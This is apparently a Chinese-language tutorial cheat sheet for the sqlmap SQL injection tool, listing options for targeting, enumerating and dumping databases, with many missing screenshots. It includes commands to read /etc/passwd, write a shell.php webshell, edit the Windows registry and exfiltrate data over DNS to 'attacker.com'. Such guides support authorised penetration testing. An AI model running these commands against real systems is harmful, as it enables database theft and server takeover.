image.png
image.png
安装:
apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
升级:
sqlmap --update --在线
git pull --离线
kali集成版随kali库更新
功能参数: sqlmap -h/-hh
-v 显示详细信息的程度 (越大越详细)
指纹信息: -f , --fingerprint, -b , --banner (查看目标服务器的数据库指纹信息)
Target
image.png
-d 直连数据库 eg:sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users --banner --dbs --schema -a
-u 指定一个url,url里面一定要有变量名
-l 结合burp的log文件
-x
-m 一个文件包含多个url,sqlmap自动识别
-r
-g 与google结合正则
-c 叫sqlmap按我指定的配置文件去扫描
-p 设定你想要检测的参数 eg:-p username
脱裤参数
-a 查能查的一切
--dbs 查询当前这个数据库管理系统中有哪些数据库
--users 查询所有的数据库账号
--schema 查information_schema的表的结构(需要权限)
--current-user 当前数据库管理系统的账号
--current-db 当前数据库的名称
--hostname 机器的主机名
--privileges -U username (CU当前账号)
--roles 查数据库角色
–D dvwa --tables, --exclude-sysdbs 查表
-D dvwa -T users --columns 查users表中的列
-D dvwa -T users -C user --columns 查use列中的字段
--count 对表计数
--schema --batch --exclude-sysdbs 查information_schema中的表结构(使用默认选项)
--batch表示过程中都选择默认选项 --exclude-sysdbs表示忽略系统表,只查有价值的表
Dump脱裤,慎用!
--dump, -C, -T, -D, ****--start, --stop(部分脱裤)****
--dump-all --exclude-sysdbs (直接都脱)
--sql-query "select * from users"(自己的命令脱裤)
当数据库管理员比较安全,没法顺利脱裤,只能利用字典拆解表名列名:
--common-tables
--common-columns
image.png
POST方法
image.png
利用proxy截断http请求并保存为requst.txt (推荐)
sqlmap -r request.txt
image.png
image.png
利用burp中的option设置,勾选保存proxy的request请求日志,保存为log.txt 命令sqlmap -l log.txt
sqlmap也支持https:
sqlmap -u “https://1.1.1.1/a.php?id=1:8843 --force-ssl
定义完各种情况下的扫描配置文件后,直接引用扫描
#dpkg -L sqlmap | grep sqlmap.conf (默认配置文件)
#sqlmap -c sqlmap.conf
sqlmap自动注入---REQUEST
image.png--data (通常用作post方法,get也可以eg:sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f)配合firebug插件
image.png
image.png
image.png
image.png
image.png
image.png
image.png image.png image.png
sqlmap自动注入--OPTIMIZATION(优化)
image.pngimage.png
image.png
sqlmap自动注入--INJECTION
image.pngimage.png
image.png
image.png
--tamper
脚本存放在/usr/share/sqlmap/tamper/
参考:https://blog.csdn.net/hxsstar/article/details/22782627
eg:sqlmap -u "http://127.0.0.1/index.php?id=1" --tamper="my_tamper.py" --os="linux" --dbms="mysql" --random-agent -v3
sqlmap自动注入--DETECTION
image.png--string 是用在一些奇怪的web站点,每次请求都会返回不一样的页面,但是通常有一个是不变的,可以用--string来设定
--not-string 与--string相反
image.png
image.png
--dns-domain
控制了dns服务器后可以用这个参数加快脱裤速度,--dns-domain attacker.com
--second-order
在一个页面注入的结果,从另一个页面体现出来时可以用
--second-order http://.....
sqlmap的自动注入--UDF INJECTION
image.pngsqlmap的自动注入--FILE SYSTEM
--file-read="/etc/passwd"
--file-write="shell.php" --file-dest "/tmp/shell.php"
sqlmap的自动注入--OS(需要权限)
image.pngimage.png
image.png image.png
sqlmap的自动注入--WINDOWS
Windows下对注册表的利用:REGISTORY
--reg-read (读注册表)
--reg-add (写注册表)
--reg-del (删注册表)
--reg-key --reg-value --reg-data --reg-type (注册表参数)
example:
sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
sqlmap的自动注入--GENERAL
image.pngimage.png
image.png
image.png
image.png
网友评论